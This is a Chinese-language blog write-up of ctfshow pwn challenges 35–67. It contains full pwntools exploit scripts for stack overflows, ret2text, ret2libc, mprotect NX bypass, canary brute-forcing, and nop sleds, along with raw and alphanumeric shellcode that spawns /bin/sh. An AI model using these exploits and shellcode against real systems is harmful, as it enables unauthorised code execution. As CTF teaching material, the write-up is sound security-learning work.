文章目录
好几天没发博客了,忙着吃席去了 QAQ
pwn 35
Partial RELRD,NX 开启
char dest;声明一个名为dest的字符变量。return strcpy(&dest, src);使用strcpy函数将src字符串复制到dest字符数组中,并返回指向dest的指针。strcpy函数(strcpy函数没有长度限制)这个函数是一个典型的可以用来利用溢出的函数。所以我们可以在这里进行栈溢出。
注意到signal(11, (__sighandler_t)sigsegv_handler);Signal 11错误,也称为“Segmentation fault”,是一种用于提示Unix系统程序出现错误的信号。当应用程序试图对无权访问的内存地址进行读写操作时,会调用 sigsegv_handler 函数,sigsegv_handler 函数 会把stderr打印输出,即将flag的值打印输出那么我们直接输入超长数据就会溢出,程序就会崩溃进而打印出flag
【Linux函数】Signal ()函数详细介绍_linux signal-CSDN博客
所以我们参数长点让 strcpy 溢出触发 NX 保护,然后触发 signal 11,再触发 sigsegv_handle 打印 flag
cyclic 105
./pwnme aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabb
pwn 36
存在后门函数,如何利用?
详细分析:checksec32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段
ctfshow 函数中存在 gets 函数
gets(s)
该函数无法限制输入的长度,可能会超出s数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,且提供后门函数 get_flag()
所以属于 ret2text
from pwn import *
from LibcSearcher import *
def s(a):
io.send(a)
def sa(a, b):
io.sendafter(a, b)
def sl(a):
io.sendline(a)
def sla(a, b):
io.sendlineafter(a, b)
def r():
io.recv()
def pr():
print(io.recv())
def rl(a):
return io.recvuntil(a)
def inter():
io.interactive()
def debug():
gdb.attach(io)
pause()
def get_64addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_32addr():
return u32(io.recv()[0:4])
def get_64sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def get_32sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def get_64sb_libcsearch():
return libc_base + libc.dump('system'), libc_base + libc.dump('str_bin_sh')
def get_32sb_libcsearch():
return libc_base + libc.dump('system'), libc_base + libc.dump('str_bin_sh')
context(os='linux', arch='i386', log_level='debug')
# context(os='linux', arch='amd64', log_level='debug')
io = process('./pwn')
elf = ELF('pwn')
io = remote('pwn.challenge.ctf.show',28241)
padding = 44
back_door = elf.sym['get_flag']
payload = flat([padding*b'a',back_door])
sla('want: \n',payload)
inter()
pwn 37
给了后门函数,ret2text
检查一下保护,开启了 nx 保护。堆栈不可执行,不过有后门函数,跟进 ctfshow 函数,read 可以读取 50 个字节
return read(0, buf, 0x32u);
而且,buf 到 返回地址偏移量是 0x12 + 4 个字节,完全够用。
from pwn import *
from LibcSearcher import *
def s(a):
io.send(a)
def sa(a, b):
io.sendafter(a, b)
def sl(a):
io.sendline(a)
def sla(a, b):
io.sendlineafter(a, b)
def r():
io.recv()
def pr():
print(io.recv())
def rl(a):
return io.recvuntil(a)
def inter():
io.interactive()
def debug():
gdb.attach(io)
pause()
def get_64addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_32addr():
return u32(io.recv()[0:4])
def get_64sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def get_32sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def get_64sb_libcsearch():
return libc_base + libc.dump('system'), libc_base + libc.dump('str_bin_sh')
def get_32sb_libcsearch():
return libc_base + libc.dump('system'), libc_base + libc.dump('str_bin_sh')
context(os='linux', arch='i386', log_level='debug')
# context(os='linux', arch='amd64', log_level='debug')
io = process('./pwn')
elf = ELF('pwn')
io = remote('pwn.challenge.ctf.show',28128)
padding = 0x12 + 4
back_door = elf.sym['backdoor']
payload = flat([padding*b'a',back_door])
sla('32bit\n',payload)
inter()
pwn 38
和上一题差不多,只是 64 位程序调用 system 要考虑堆栈平衡
padding = 0x0A + 8
back_door = elf.sym['backdoor']
payload = flat([padding*b'a',back_door+1])
pwn 39
system 和 ‘/bin/sh’ 分开,要我们自己传参了。
我们构造的payload在先进行溢出后,填上system函数的地址,这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址(随你便,我这里习惯用 deadbeef)。,最跟上 system 的参数 字符串 /bin/sh 的指针。
payload = flat([padding*b'a',system,0xdeadbeef,binsh])
pwn 40
ret2text 的 64 位传参,有两点要注意点
- rdi 寄存器传参
- 堆栈平衡
payload = flat([padding*b'a',ret,pop_rdi,binsh,system])
pwn 41
32位的 system(); 但是没"/bin/sh" ,好像有其他的可以替代
useful 函数给了字符串 “sh”
这次没给 ‘/bin/sh’, 但是给了 sh。一般情况下 sh 和 /bin/sh 是等效的
- system(“/bin/sh”):在Linux和类Unix系统中,/bin/sh通常是一个符号链接,指向系统默认的shell程序(如Bash或Shell)。因此,使用system(“/bin/sh”)会启动指定的shell程序并在新的子进程中执行。这种方式可以确保使用系统默认的shell程序执行命令,因为/bin/sh链接通常指向默认shell的可执行文件。
- system(“sh”):使用system(“sh”)会直接启动一个名为sh的shell程序,并在新的子进程中执行。这种方式假设系统的环境变量$PATH已经配置了能够找到sh可执行文件的路径,否则可能会导致找不到sh而执行失败。
我们可以查看一下自己设备上 sh 环境变量指向哪里
which sh
可以看到我本地的 sh 指向的 是 /usr/bin/sh ,所以启动的是 /usr/bin/sh 的可执行文件,而 /bin/sh 则是直接绝对路径找到的。
总结来说,system(“/bin/sh”)是直接指定了系统默认的shell程序路径来执行命令,而system(“sh”)则依赖系统的环境变量$PATH来查找sh可执行文件并执行。如果系统的环境变量设置正确,这两种方式是等效的
payload = flat([padding*b'a',sys_addr,0xdeadbeef,sh])
pwn 42
和上一题一样,换成 64 位程序了。
padding = 0xA + 8
sys_addr = elf.sym['system']
sh = 0x0000000000400872
rdi_ret = 0x0000000000400843
ret = 0x000000000040053e
payload = flat([padding*b'a',rdi_ret,sh,ret,sys_addr,])
pwn 43
32位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法
这次是 /bin/sh ,sh 都没有了。题目给了一个gets 函数,很明显的栈溢出点。
天无绝人之路,我们调试程序的时候可以发现,0x804b000 到 0x804c000 可写
打开 ida 反编译一下就发现这段地址就在 bss 段,而且有个 buf2 变量。
那我们就可以往这段地址写入 “/bin/sh” 然后让 system 参数指向这段地址
padding = 0x6C + 4
sys_addr = elf.sym['system']
gets_addr = elf.sym['gets']
w_addr = 0x804b060
payload = flat([cyclic(padding),gets_addr,sys_addr,w_addr,w_addr])
- padding 垃圾数据
- gets_addr 触发 gets 函数写入 ‘/bin/sh’
- sys_addr system 函数
- w_addr buf2 地址,gets 的参数
- w_addr 已经写入了 “/bin/sh”,等待 system 调用
sl(payload)
sl("/bin/sh")
pwn 44
上一道题的 64 位版本,话不多说直接上 payload
padding = 0x0A+8
sys_addr = elf.sym['system']
gets_addr = elf.sym['gets']
w_addr = 0x602080
ret_addr = 0x4004fe
rdi_ret = 0x4007f3
payload = flat([cyclic(padding),rdi_ret,w_addr,gets_addr,rdi_ret,w_addr,sys_addr])
本来我想着是
flat([cyclic(padding),rdi_ret,w_addr,gets_addr,sys_addr])
我以为 rdi 里一直会是 w_addr,但是行不通盲猜中间有步骤修改了 rdi 的值,所以我们只能再赋一次值。
pwn 45
没有 system /bin/sh,且是动态链接,所以是 ret2libc
- system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
- 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。
如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。那么如何得到 libc 中的某个函数的地址呢?
我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。
padding = 0x6B+4
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ctfshow = elf.sym['ctfshow']
payload = flat([cyclic(padding),puts_plt,ctfshow,puts_got])
sl(payload)
real_addr = u32(io.recvuntil(b'\xf7')[-4:])
libc = LibcSearcher("puts",real_addr)
libc_base = real_addr - libc.dump('puts')
sys,binsh = get_32sb_libcsearch()
payload2 = flat([cyclic(padding),sys,0xdeadbeef,binsh])
sl(payload2)
inter()
pwn 46
还是 ret2libc,上一题的 64 位版本
padding = 0x70+8
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ctfshow = elf.sym['ctfshow']
rdi_ret = 0x400803
ret = 0x4004fe
payload = flat([cyclic(padding),rdi_ret,puts_got,puts_plt,ctfshow])
sl(payload)
real_addr = get_64addr()
libc = LibcSearcher("puts",real_addr)
libc_base = real_addr - libc.dump('puts')
sys,binsh = get_32sb_libcsearch()
payload2 = flat([cyclic(padding),ret,rdi_ret,binsh,sys])
sl(payload2)
pwn 47
ida 分析泄露了 puts 真实地址 以及 /bin/sh,但是没有 system 所以还是得用一下 ret2libc
用 45 的脚本一样可行,但是这里不用那么复杂,毕竟泄露了很多地址给我们
io.recvuntil("puts: ")
puts=eval(io.recvuntil("\n" , drop=True))
io.recvuntil("gift: ")
bin_sh=eval(io.recvuntil("\n" , drop=True))
libc=LibcSearcher("puts" , puts)
libc_base=puts-libc.dump("puts")
system=libc_base+libc.dump("system")
paylad=b"a"*(0x9c+4) +p32(system) +p32(0) +p32(bin_sh)
io.sendline(paylad)
io.interactive()
说一说这一段
io.recvuntil("puts: ")
puts=eval(io.recvuntil("\n" , drop=True))
先使用recvuntil函数接收远程服务器发送的数据,直到遇到字符串"puts: "。然后使用eval函数执行接收到的字符串,将其解析为一个表达式并求值,得到puts函数的地址。类似地,下面继续接收数据,直到遇到字符串"gift: "。然后使用eval函数执行接收到的字符串,得到一个地址,赋值给bin_sh变量
pwn 48
和 45 一样用 puts
padding = 0x6B+4
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ctfshow = elf.sym['ctfshow']
payload = flat([cyclic(padding),puts_plt,ctfshow,puts_got])
sl(payload)
real_addr = get_32addr()
libc = LibcSearcher("puts",real_addr)
libc_base = real_addr - libc.dump('puts')
sys,binsh = get_32sb_libcsearch()
payload2 = flat([cyclic(padding),sys,0xdeadbeef,binsh])
sl(payload2)
pwn 49
静态编译?或许你可以找找mprotect函数
我们查找一下mprotect函数:
确实存在,那么这个函数有什么作用呢?
它的作用是能够修改内存的权限为可读可写可执行(阔怕
int mprotect(const void *start, size_t len, int prot); |
---|
第一个参数填的是一个地址,是指需要进行操作的地址。 |
第二个参数是地址往后多大的长度。 |
第三个参数的是要赋予的权限。mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。 |
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问
5)prot=7 是可读可写可执行
指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍
好,了解完这个函数我们再来看看这道题,这里新版旧版 checksec 出来的值不一样,旧版的发现有 canary 栈保护,新版没有,应该是旧版的有问题
原因在这,由于这是较老版本的checksec,它应该是检测到有这个函数就算打开了栈保护
新版就没有问题了
开启了 NX 保护。
这道题提升我们可以用 mprotect 修改内存区间的权限,那么就可以绕过 NX 保护了,既然绕过了 NX 那么段就可写可执行了,那我们就能 ret2shellcode 攻击。
padding = 0x12 + 4
mprotect_addr = elf.sym['mprotect']
pop_agrv = 0x08056194
m_start = 0x080DA000
m_size = 0x1111
m_prot = 0x7
read_addr = elf.sym['read']
shell_addr = m_start
shellcode = asm(shellcraft.sh())
payload = flat([cyclic(padding),mprotect_addr,pop_agrv,m_start,m_size,m_prot,read_addr,shell_addr,0,shell_addr,len(shellcode)])
-
栈溢出到 mprotect 函数,这里要搜索一段可以 pop 三段的 ROPgadget,这是为了执行完 mprotect 后可以执行 read 函数。
-
mprotect 参数一是一段地址,为什么是0x80DA000而不是bss段的开头,因为指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。
参数二是地址往后多大的长度。虽然说区间长度 len 必须是页大小的整数倍,但好像这里只要比 shellcode 大就行了
参数三是权限,改成 7 即可
-
read_addr 是 read 地址,返回地址暂定为起始地址 start,然后就是 read 的三个参数,写入地址也定位 start,这样返回到这个地址的时候就会执行 shellcode 了
完整代码
from pwn import *
from LibcSearcher import *
def s(a):
io.send(a)
def sa(a, b):
io.sendafter(a, b)
def sl(a):
io.sendline(a)
def sla(a, b):
io.sendlineafter(a, b)
def r():
return io.recv()
def pr():
print(io.recv())
def rl(a):
return io.recvuntil(a)
def inter():
io.interactive()
def debug():
gdb.attach(io)
pause()
def get_64addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_32addr():
return u32(io.recvuntil(b'\xf7')[-4:])
def get_64sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def get_32sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def get_64sb_libcsearch():
return libc_base + libc.dump('system'), libc_base + libc.dump('str_bin_sh')
def get_32sb_libcsearch():
return libc_base + libc.dump('system'), libc_base + libc.dump('str_bin_sh')
context(os='linux', arch='i386', log_level='debug')
# context(os='linux', arch='amd64', log_level='debug')
io = process('./pwn')
elf = ELF('pwn')
io = remote('pwn.challenge.ctf.show',28232)
padding = 0x12 + 4
mprotect_addr = elf.sym['mprotect']
pop_agrv = 0x08056194
m_start = 0x080DA000
m_size = 0x1111
m_prot = 0x7
read_addr = elf.sym['read']
shell_addr = m_start
shellcode = asm(shellcraft.sh())
payload = flat([cyclic(padding),mprotect_addr,pop_agrv,m_start,m_size,m_prot,read_addr,shell_addr,0,shell_addr,len(shellcode)])
sl(payload)
sl(shellcode)
inter()
# ROPgadget --binary ./pwn --only "pop|ret"|grep rdi
# ROPgadget --binary ./pwn --only "ret"
pwn 50
这道题想让我们用 ret2libc 泄露 mprotect 地址,然后修改内存权限,再 ret2shellcode。直接 ret2libc 就行了,所以贴一下 官方 payload 吧
######### step1 : leak_libc
payload=cyclic(40)
payload+=p64(pop_rdi_ret)
payload+=p64(elf.got['puts'])
payload+=p64(elf.plt['puts'])
payload+=p64(ctfshow)
######### step2 : mprotect_bss_to_rwx
payload=cyclic(40)
payload+=p64(pop_rdi_ret)
payload+=p64(bss_start_addr)
payload+=p64(pop_rsi_ret)
payload+=p64(0x1000)
payload+=p64(pop_rdx_ret)
payload+=p64(0x7)
payload+=p64(libc.sym['mprotect'])
payload+=p64(main)
######### step3 : gets_shellcode_to_bss
payload=cyclic(40)
payload+=p64(pop_rdi_ret)
payload+=p64(shellcode_addr)
payload+=p64(libc.sym['gets'])
payload+=p64(main)
pwn 51
修改一下符号表
跟进 ctfshow 函数,发现是 c++ 写的,写的啥我也真的是看不懂(太菜了
直接运行程序,应该是会把 所有 的 I 替换成 IronMan,然后 strcpy 拼接其他字符
而且我们找到了一个后门函数,strcpy 也没有限制长度。
所以我们可以利用 strcpy 和这种字符串替换的机制,让 S 区域溢出,16 个 I 会被替换成 112 个字符,而s距ebp的距离为 0x6c = 108,加上 4,刚好 112。后面再接上后门函数的返回地址即可
back=0x804902E
payload = flat([16*b'I',back])
sl(payload)
inter()
pwn 52
发现后门函数 flag,对其两个参数做了限制。
if ( a1 == 0x36C && a2 == 0x36D )
return (char *)printf(s);
所以我们 gets 将程序流程劫持到 flag 就行了
padding=0x6C+4
flag = elf.sym['flag']
payload = flat([cyclic(padding),flag,0xdeadbeef,876,877])
sl(payload)
inter()
pwn 53
这道题模拟的是 canary 的保护机制。
打开 ida ,canary 函数读取 /canary.txt 四个字节到 global_canary,作为校验值。
然后我们继续跟进 ctfshow 函数,
while ( v5 <= 31 )
{
read(0, &v2[v5], 1u);
if ( v2[v5] == 10 )
break;
++v5;
}
__isoc99_sscanf((int)v2, (int)"%d", (int)&nbytes);
printf("$ ");
read(0, buf, nbytes);
这一部分的意思是,v5 作为下标和控制循环的参数,read 读取输入一直存到 v2 数组中,直到遇到换行符\n(ASCII码为10)为止。每次读取一个字节,存储到v2中,并逐渐增加v5的值。v5用于记录读取的字符个数.
接着使用__isoc99_sscanf函数将v2中的字符串转换为整数,并存储到nbytes中。这里使用%d格式说明符将字符串解析为一个有符号整数。使用printf输出提示信息 "$ ",表示等待用户输入。接着,使用read函数从标准输入读取nbytes个字节的数据。
if ( memcmp(&s1, &global_canary, 4u) )
{
puts("Error *** Stack Smashing Detected *** : Canary Value Incorrect!");
exit(-1);
}
puts("Where is the flag?");
return fflush(stdout);
之后,代码通过比较s1(s1是一个整型变量,用于存储全局变量global_canary的值)和全局变量global_canary的值来检查堆栈的完整性。如果两者的值不相等,表示堆栈被破坏,输出错误信息 “Error * Stack Smashing Detected * : Canary ValueIncorrect!”,并调用exit(-1)终止程序。最后,代码输出信息 “Where is the flag?”,并调用fflush(stdout)刷新标准输出缓冲区。
总结起来,这段代码的功能是从标准输入读取用户输入的字节数,并将相应字节数的数据读取到缓冲区buf中。然后,它会检查堆栈的完整性,如果堆栈被破坏,则输出错误信息并终止程序。我们可以看出程序是模拟了一个保护,但是由于文件名不变,其内容大概率也是不会变化的。加上题目提示猜测可以进行爆破(再多看一眼就会爆炸
所以我们的目的很明确了,爆破 canary 的值然后栈溢出的时候要填入 canary 的值到 s1 来绕过检查。如何爆破?我们可以注意到这里 canary 的值是四个字节,我们可以在 read(0, buf, nbytes); 不断写入数据来覆盖 S1 的值,一个一个字节爆破,直到 s1 的四个字节完全爆破出来
canary = b''
for i in range(4):
for j in range(0x100):
io = remote('pwn.challenge.ctf.show',28171)
io.sendlineafter('>','200')
payload = b'a'*0x20 + canary + p8(j)
io.sendafter('$ ',payload)
ans = str(io.recv())
if "anary Value Incorrect!" not in ans:
print(f"No{i+1} byte is {hex(j)}")
canary += p8(j)
break
else:
print("trying")
print(f"canary is {hex(u32(canary))}")
io.sendlineafter(‘>’,‘200’) 这里 nbytes 会被转变成 200(sendlineafter 包括输出换行符直接结束了 for 循环),我觉得 200 就够我们搞溢出了,你们 300,400 无所谓,只要记得 buf 到 返回地址是 0x30 + 4,大于这个值就行
b’a’*0x20 是因为 buf 到 s1 的位置有 0x20 个字节,p8(j) 是从 s1 低字节开始一个一个字节爆破,爆破成功就 canary += p8(j),不成功就继续爆破,一个字节占 8 位 最大为 0xff,所以我们 j 是 range(0x100)。
爆破完四个字节后就得到了 canary,然后我们就可以栈溢出劫持程序执行流至flag函数就能get flag
完整代码
canary = b''
for i in range(4):
for j in range(0x100):
io = remote('pwn.challenge.ctf.show',28171)
io.sendlineafter('>','200')
payload = b'a'*0x20 + canary + p8(j)
io.sendafter('$ ',payload)
ans = str(io.recv())
if "anary Value Incorrect!" not in ans:
print(f"No{i+1} byte is {hex(j)}")
canary += p8(j)
break
else:
print("trying")
print(f"canary is {hex(u32(canary))}")
io = remote('pwn.challenge.ctf.show',28171)
elf = ELF('./pwn')
flag = elf.sym['flag']
payload = b'a'*0x20 + canary + p32(0)*4 + p32(flag)
io.sendlineafter('>','-1')
io.sendafter('$ ',payload)
io.interactive()
pwn 54
首先读取用户名,v5,给了 256 个字节。然后读取本地密码,s。最后让我们输入密码 s1
如何获取这段密码?
v8 = strchr(v5, 10);
if ( v8 )
*v8 = 0;
puts(v5);
在用户名里找换行符,如果找到了 用 空白符 替换 换行符,因为 puts 遇到 \x00 才会终止输出。
我们注意到 v5 到 密码 s 的距离刚好是 0x100 = 256 个字节
所以我们只要输入 256 字节的用户名,那么 v5 就不会有换行符,也就没有空白符,那么 puts 函数就会从 v5 开始一直输出栈上的内容直到遇到空白字符,不幸的是 s 就在 v5 下面,所以密码也就输出来了
cyclic 256
然后登录就能拿到 flag
pwn 55
gets 溢出,然后劫持 flag1,flag2,flag 函数。
padding =0x2C+4
flag1_addr = elf.sym['flag_func1']
flag2_addr = elf.sym['flag_func2']
flag_addr = elf.sym['flag']
payload = flat([cyclic(padding),flag1_addr,flag2_addr,flag_addr,-1397969748,-1111638595])
pwn 56
直接给 shell 了,打开 ida 发现就是利用系统调用在Linux系统上执行execve(“/bin/sh”,0,0),即打开一个新的shell进程。
push 0x68
push 0x732f2f2f
push 0x6e69622f
movebx,esp
xorecx,ecx
xoredx,edx
push 0xB
pop eax
int 0x80
就 shellcode 嘛。
pwn 57
64 位直接给 shell,32位仅部分开启RELRO,其他保护全关,并且有可读,可写,可执行段
pwn 58
我们可以看到 ctfshow 里有一个 gets,且 ctfshow 参数是 [ebp+s] 的地址
gets 函数写入的地址即为 [ebp+s] 对应的地址,同时 call 的地址即为 [ebp+s] 所指向的地址
所以写入 shellcode 即可
shellcode = asm(shellcraft.sh())
pwn 59
上一题的 64 位版本,架构换成 amd64 然后生成 shellcode 就行了
pwn 60
什么保护也没有,给了一个很明显的 gets,并且下面还使用strncpy函数将对应的字符串复制到 buf2 处。跟进查看
且 buf2 处有可执行权限
这里得用 ctfshow 给的 ubuntu 18,我用 ubuntu 20 查看 bss 就没有执行权限。。。
所以我们先写入 shellcode,然后返回地址是 buf2,这样 strncpy函数 把shellcode 拼接到 buf2 之后就能执行 shellcode 了。
buf2_addr=0x804a080
shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(112,b'a') +p32(buf2_addr)
io.sendline(payload)
pwn 61
开启了 pie 保护,64位程序。
有个 gets ,而且泄露了 gets 输入的 v5 的地址。那我们就可以 get 劫持输入 shellcode,然后返回地址为 泄露的 v5 的地址来执行 shellcode。
但是不行。。。这里有个特殊的 leave
leave的作用相当于MOV SP,BP;POP BP。 leave指令将EBP寄存器的内容复制到ESP寄存器中, 以释放分配给该过程的所有堆栈空间,然后,它从堆栈恢复EBP寄存器的旧值。释放当前子程序在堆栈中的局部变量
而生成的shellcode中对rsp进行了其他操作,所以leave指令会对shellcode的执行造成影响。故v5 中不能存放shellcode,v5后的8个字节也不能存放(这里需要存放返回地址)。故我们的shellcode只能 放在v5首地址后的 24+8后的地址。
padding = 0x10+8
shell_code = asm(shellcraft.sh())
io.recvuntil("What's this : [")
v5_addr = eval(io.recvuntil("]",drop=True))
print(v5_addr)
print(hex(v5_addr))
payload = flat([cyclic(padding),v5_addr+padding+8,shell_code])
如果用 payload = flat([shell_code.ljust(24,b'a'),v5_addr])
的话,leave 完就是 ret ,就会返回到一个报段错误的地址,我的理解是写了 leave 导致 rbp 变化了,然后找不到 shellcode 正确地址了?那为什么 payload = flat([cyclic(padding),v5_addr+padding+8,shell_code])
就能找到正确的返回地址呢? 难道真是因为 leave 把 v5 释放了导致 v5 的地址不可返回了?
不理解不理解,知道的师傅请教教我!
pwn 62
和上一题一样,但是 shellcode 限制在 24 字节
padding = 0x10+8
shell_code = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
io.recvuntil("What's this : [")
v5_addr = eval(io.recvuntil("]",drop=True))
print(hex(v5_addr))
payload = flat([cyclic(padding),v5_addr+padding+8,shell_code])
pwn 63
限制 23 字节,上面那个 22字节接着用。
pwn 64
有时候开启某种保护并不代表这条路不通
开启了 NX 保护,跟进 main 函数
buf = mmap(0, 0x400u, 7, 34, 0, 0)
:这行代码使用mmap函数分配一块内存区域,将其起始地址保存在变量buf中。mmap函数通常用于在内存中分配一块连续的地址空间,并指定相应的权限和属性。这里buf用mmap映射了地址,prot 为 7 可读可写可执行
linux库函数mmap()原理及用法详解_linux mmap-CSDN博客
下面 ((void (*)(void))buf)();调用了buf,那我们就可以写入 shellcode 执行了,一开始没看懂直接动态调试了,
调试到这也猜到 ((void (*)(void))buf)() 是直接执行了。
shellcode = asm(shellcraft.sh())
payload = flat([shellcode])
pwn 65
f5 反编译不了。。。
调用 read,读取 0x400 字符到 buf,eax 作为返回值
如果返回值为 -1 就 GG
比较输入的第一个字符与 0 的大小,如果 >= 0 就能执行 shellcode,后面就是一系列判断。
重点看这个
cdqe
movzx eax, [rbp+rax+buf]
cdqe使用eax的最高位拓展rax高32位的所有位 movzx则是按无符号数传送+扩展(16-32) EAX是32位的寄存器,而AX是EAX的低16位,AH是ax的高8位,而AL是ax的低8位大致就是将我们输入的字符串每一位进行比较,如果不在0x60~0x7A这个范围就跳转剩下几个就是跳转的范围。
意思可能就是从第一个字符开始一直做循环判断,如果每一个字符都在一定区间,结束最后一个字符判断时就能够绕过上面的 j1 loc_11B8 来执行 shellcode 了。
有两个标准区间 0x60 - 0x7A,0x2f-0x5A,其实就是要我们输入的字符都是可打印字符,shellcode 有些是不可打印字符,
这个叫string.printable,就是可见字符shellcode。这里使用alpha3就可以生成了
Alphanumeric Shellcode:纯字符Shellcode生成指南 - FreeBuf网络安全行业门户
下载alpha3
git clone https://github.com/TaQini/alpha3.git
-
首先利用pwntools生成一个shellcode
from pwn import * context.arch='amd64' sc = asm(shellcraft.sh()) with open('sc', 'bw') as f: f.write(sc)
将上述代码保存成sc.py放到alpha3目录下,然后执行如下命令生成待编码的shellcode文件
cd alpha3 python3 sc.py > sc
-
使用alpha3生成string.printable (这里得用 python2)
python2 ./ALPHA3.py x64 ascii mixedcase rax --input="sc"
因为 call rax ,所以 base 是 rax,得到
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
不能用 sendline 了,因为换行符也不在区间里
shellcode = b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t' payload = flat([shellcode])
pwn 66
打开 ida 分析一波,发现其实就是 buu 上的一道题
[BUUCTF-pwn]——starctf_2019_babyshell
((void (__fastcall *)(void *))buf)(buf);
看到上面这个我们就知道可以执行 shellcode,但是要绕过 check 函数。
while ( *a1 )
{
for ( i = &aZzjLovesShellC; *i && *i != *a1; ++i )
;
if ( !*i )
return 0LL;
++a1;
}
return 1LL;
大致意思就是我们的 shellcode 得由规定字符组成,会将我们的shellcode逐字节与之比较,可以使用shift + e提取
这里我们可以绕过校验
while(*a),也就是我们一般写代码的思路,遇到\x00就不校验了,所以如果shellcode以\x00开头,那是不是就ok了?
所以我们要找的就是以 \x00 开头的 shellcode
以\x00开头的shellcode&&starctf_2019_babyshell_ctf \x开头的编码-CSDN博客
\x00B后面加上一个字符,对应一个汇编语句。所以我们可以通过\x00B\x22、\x00B\x00 、\x00J\x00等等来绕过那个检查
或者我们可以用脚本找
from pwn import *
from itertools import *
import re
for i in range(1, 3):
for j in product([p8(k) for k in range(256)], repeat=i):
payload = b"\x00" + b"".join(j)
res = disasm(payload)
if (
res != " ..."
and not re.search(r"\[\w*?\]", res)
and ".byte" not in res
):
print(res)
input()
找到 \x00\xC0
paylaod
shellcode = b'\x00\xC0' + asm(shellcraft.sh())
pwn 67
32bit nop sled
没有开启 NX 保护,证明可以写入 shellcode
ida 分析,最会会读取一段地址然后执行,那我们要做的就是把 shellcode 的地址给到 v5
__isoc99_scanf("%p", &v5);
v5();
fgets((char *)seed, 4096, stdin);
刚好有个 fgets 可以读取 shellcode 到 seed,但是我们并不知道 seed 的地址?
query_position() 泄露了一段地址
return &v1 + v2;
v1 作为局部变量也是在栈上的,可以帮助我们侧面得到 seed 地址。
我们先来算一下 v1 到 seed 相差多少吧,动调一下
进入 query_position() 之前 ebp = 0xffffd1b8,出来后 ebp = 0xffffc198
画一下栈帧
两个 ebp 相差 0x1020, 1020 = 0x15 + 4 + 4 + padding + 0x100C,padding = 0xC
所以 v1 到 seed 偏移量 = 0x15 + 4 + 4 + padding = 41
如果 query_position() 返回的单纯是 v1 地址,那么 position + 41 就是 seed 地址了。很可惜并不是, v2 = rand() % 1337 - 668
这就导致我们得到的 position 的值属于 [&v1-668,&v1+668],我们先给 positition 加上 668,让它以 v1 开始
position + 668 属于 [v1,v1 +1336],那么我们就获得不了确切的地址了,每次运行程序都随机返回了 position。好在我们是确定这段区间的,看到这我们大概也猜到了这段程序在模拟栈空间随机化
对抗栈帧地址随机化/ASLR的两种思路和一些技巧 - QiuhaoLi - 博客园 (cnblogs.com)
栈帧地址随机化是地址空间布局随机化(Address space layout randomization,ASLR)的一种,它实现了栈帧起始地址一定程度上的随机化,令攻击者难以猜测需要攻击位置的地址。
这就要提到 nop sled空操作雪橇
nop sled 是一种可以破解栈随机化的缓冲区溢出攻击方式。攻击者通过输入字符串注入攻击代码。在实际的攻击代码前注入很长的 nop 指令(无操作,仅使程序计数器加一)序列,只要程序的控制流指向该序列任意一处,程序计数器逐步加一,直到到达攻击代码的存在的地址,并执行。
由于栈地址在一定范围的随机性,攻击者不能够知道攻击代码注入的地址,而要执行攻击代码需要将函数的返回地址更改为攻击代码的地址(可通过缓冲区溢出的方式改写函数返回地址)。所以,只能在一定范围内(栈随机导致攻击代码地址一定范围内随机)枚举攻击代码位置(有依据的猜
不用 nop sled ,函数返回地址-------> 攻击代码。使用 nop sled ,函数返回地址-------> nop 序列(顺序执行)直到攻击代码地址。
